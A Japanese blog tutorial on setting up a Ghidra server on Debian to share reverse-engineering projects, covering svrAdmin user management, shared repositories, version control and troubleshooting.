プロジェクトの共有は、下記の手順で行えます。 各項目について説明していきます。

  1. Ghidraサーバをインストールする
  2. Ghidraサーバにアクセスできるユーザを追加する
  3. リポジトリとプロジェクトを作成する
  4. 解析したファイルをリポジトリに追加する
  5. 別のPCからリポジトリにアクセスする

検証した環境

今回は、LinuxDebian 9)環境で試しました。Windowsの場合は、「~.bat」を実行すれば同様の動作になるはずです。

$ uname -a
Linux debian 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3 (2019-02-02) x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux 9.8 (stretch)
Release:    9.8
Codename:   stretch

$ java -version
openjdk version "11.0.2" 2019-01-15
OpenJDK Runtime Environment 18.9 (build 11.0.2+9)
OpenJDK 64-Bit Server VM 18.9 (build 11.0.2+9, mixed mode)

1. Ghidra サーバをインストールする

プロジェクトを共有するためには、Ghidraサーバを立てる必要があります。

サーバのインストールは、<Ghidraのディレクトリ>/server/svrInstallで行えます。 これを実行すると、Ghidraサーバがインストールされ、サーバが起動します。出力の最後に「Service ghidraSvr started」と表示されれば成功です。

$ ./server/svrInstall 
alice password:
:
省略
:
Service ghidraSvr started

Ghidraサーバは、デフォルトで13100番ポートで待ち受けています。

$ ss -l | grep 13100
tcp    LISTEN     0      50      *:13100                 *:*

2. Ghidraサーバにアクセスできるユーザを追加する

Ghidraサーバが起動したら、次にユーザの追加を行います。 追加したユーザだけが、Gidoraサーバにアクセスすることができます。

ユーザの追加は、<Ghidraのディレクトリ>/server/svrAdmin で行えます。 デフォルトのパスワードは、「changeme」となっています。

$ ./svrAdmin -add <SID>

ユーザ追加例:

$ whoami
alice
$ sudo ./server/svrAdmin -add alice
Using server directory: /home/alice/ghidra_9.0/repositories
1 command(s) queued.

3. リポジトリとプロジェクトを作成する

  1. 「File」→「New Project...」から新しいプロジェクトを作成します。 今回は、プロジェクトを共有したいので「Shared Project」を選択して「Next >>」をクリックします。 f:id:tsalvia:20190315034546p:plain

  2. 「Server Name:」にGhidraサーバを立てたPCのIPアドレスもしくはドメイン名を指定して、「Next >>」をクリックします。 今回は、下記の通りに設定しました。

    • Server Name: → 「localhost
    • Port Number: → 「13100」(デフォルトのGidoraサーバのポート番号) f:id:tsalvia:20190315034739p:plain
  3. svrAdminで作成したユーザのパスワードを入力して「OK」をクリックします。 デフォルトパスワードは、「changeme」となっています。 f:id:tsalvia:20190315034820p:plain

  4. パスワードの変更を要求されるので、「OK」をクリックします。 f:id:tsalvia:20190315035030p:plain

  5. 新しいパスワードを入力して、「OK」をクリックします。 f:id:tsalvia:20190315035107p:plain

  6. パスワードの変更が完了しました。「OK」をクリックして次に進みます。 f:id:tsalvia:20190315035132p:plain

  7. リポジトリ名を指定して「Next >>」をクリックします。 今回は、「mySharedProject」という名前にしました。 f:id:tsalvia:20190315035253p:plain

  8. 共有プロジェクトにアクセスできるユーザを指定して、「Next >>」をクリックします。 今回の例では、「alice」というユーザしかいないので、「Admin」権限以外選択できません。 f:id:tsalvia:20190315035358p:plain

  9. 共有プロジェクトのローカルの保存先を指定して、「Finish」をクリックします。 今回は、下記の通りに設定しました。

    • Project Directory: → 「/home/alice/GhidraProjects」
    • Project Name: → 「mySharedProject」 f:id:tsalvia:20190315035501p:plain
  10. 「mySharedProject」という共有プロジェクトが作成できました。 f:id:tsalvia:20190315035549p:plain

4. 解析したファイルをリポジトリに追加する

  1. 「File」→「Import File...」で解析したいファイルをインポートする。 f:id:tsalvia:20190315035820p:plain

  2. インポートしたファイルを右クリックし、「Add to Version Control...」をクリックする。 f:id:tsalvia:20190315040016p:plain

  3. コメントの入力欄が出てくるので、コメントを書いて「OK」をクリックする。 f:id:tsalvia:20190315040132p:plain

  4. リポジトリにAddすると、ファイルのアイコンに緑のチェックマークが付きます。 上記の手順でリポジトリにAddしたファイルのみが共有されます。 f:id:tsalvia:20190315040206p:plain

5. 別のPCからリポジトリにアクセスする

アクセス権の割当て(ユーザ名か異なる場合のみ)

手順2で追加したユーザ以外を使ってGhidraサーバにアクセスしたい場合は、新たにユーザを追加する必要があります。

  1. Ghidraサーバを起動しているPCで「svrAdmin」を使用してユーザを追加します。 今回は、「bob」というユーザを追加しました。
$ sudo ./server/svrAdmin -add bob
Using server directory: /home/alice/ghidra_9.0/repositories
1 command(s) queued.
  1. 「Project」→「Edit Project Access List...」をクリックします。 f:id:tsalvia:20190315042058p:plain

  2. 「bob」を選択して「Add >>」をクリックします。 次に右にある「bob」の「Read/Write」チェックボックスにチェックを入れて、「OK」をクリックします。 f:id:tsalvia:20190315042223p:plain

上記の作業により、「bob」ユーザに読書き権限を割り当てることができました。

リポジトリにアクセスする

  1. 手順3と同様に新しいプロジェクトを作成します。 今回も「Shared Project」を選択します。

  2. 「Server Name:」にGhidraサーバのIPアドレスもしくはドメイン名を指定して、「Next >>」をクリックします。 今回は、下記の通りに設定しました。

    • Server Name: → 「172.16.0.2」(GhidraサーバのIPアドレス
    • Port Number: → 「13100」(デフォルトのGidoraサーバのポート番号)

f:id:tsalvia:20190315041331p:plain

  1. bobユーザでログインすると、リポジトリ選択画面に遷移します。
    手順3で作成したプロジェクト「mySharedProject」が確認できるので、選択して「Next >>」をクリックします。 f:id:tsalvia:20190315042417p:plain

  2. 手順3と同様にプロジェクトのローカルの保存先を指定して「Finish」をクリックします。

  3. 手順3で追加したファイルが共有されていることが分かります。 f:id:tsalvia:20190315042553p:plain

トラブルシューティング

サポートされているJavaランタイムが見つかりませんでした。

下記のようなエラーが出る場合は、support/launch.propertiesの JAVA_HOME_OVERRIDEプロパティにJDKディレクトリを指定してみてください。

Failed to find a supported Java runtime.  Please refer to the Ghidra Installation Guide's Troubleshooting section.
Failed to install Ghidra Server!

<Ghidraのディレクトリ>/support/launch.propertiesの JAVA_HOME_OVERRIDEプロパティ(5行目)の設定例

JAVA_HOME_OVERRIDE=/opt/java/jdk-11.0.2

ed: コマンドが見つかりません

下記のようなエラーが出る場合は、edコマンドをインストールしてください。

/home/analyst/ghidra_9.0/server/ghidraSvr: 行 85: ed: コマンドが見つかりません
ERROR: failed to install fork_hack in server.conf

インストール方法

$ sudo apt-get install ed

svrAdminでユーザの追加ができない

下記のようなエラーが出る場合は、root権限で実行できていません。

$ ./svrAdmin -add alice
Using server directory: /home/alice/ghidra_9.0/repositories
Invalid Ghidra server directory specified: /home/alice/ghidra_9.0/repositories

sudoを先頭につけてコマンドを実行してください。

$ sudo ./svrAdmin -add alice
Using server directory: /home/alice/ghidra_9.0/repositories
1 command(s) queued.

参考にしたサイト